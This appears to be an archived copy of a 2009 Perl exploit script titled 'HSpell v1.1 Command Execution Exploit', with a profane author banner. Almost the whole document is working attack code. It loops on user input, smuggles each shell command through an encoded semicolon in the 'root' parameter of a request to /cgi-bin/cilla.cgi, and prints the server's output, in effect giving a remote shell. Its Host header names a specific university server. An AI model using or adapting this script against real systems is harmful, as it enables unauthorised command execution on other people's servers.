Home / os / win10

hspell-exec.txt

Posted on 14 January 2009

#!/usr/bin/perl use IO::Socket; print q{ HSpell v1.1 Command Execution Exploit Theres a 1000 ways to improve this exploit, but I really couldn't be fucked with it. Made By ZeN http://dusecurity.com/ http://darkcode.me/ }; $host = 'site.com'; $port = '80'; $path = '/cgi-bin/cilla.cgi'; ShellMe: print " h4x0r~> "; $cmd = <stdin>; chop ($cmd); $cmd =~ s/ /+/g; $header = "GET ".$path."?root=pwnt%3B+".$cmd."&binyan=%F7%EC HTTP/1.1 "; $header = $header."Host: wassist.cs.technion.ac.il "; $header = $header."User-Agent: DUSecurity Group "; $header = $header."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 "; $header = $header."Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 "; $header = $header."Accept-Encoding: gzip,deflate "; $header = $header."Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 "; $header = $header."Connection: close "; $header = $header."Cache-Control: max-age=0 "; $header = $header." "; $get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || print "[*] Error! "; print $get1 $header; $get1->recv($buffer,50000); $shell = substr($buffer, 1347); print $shell; goto ShellMe;

 

TOP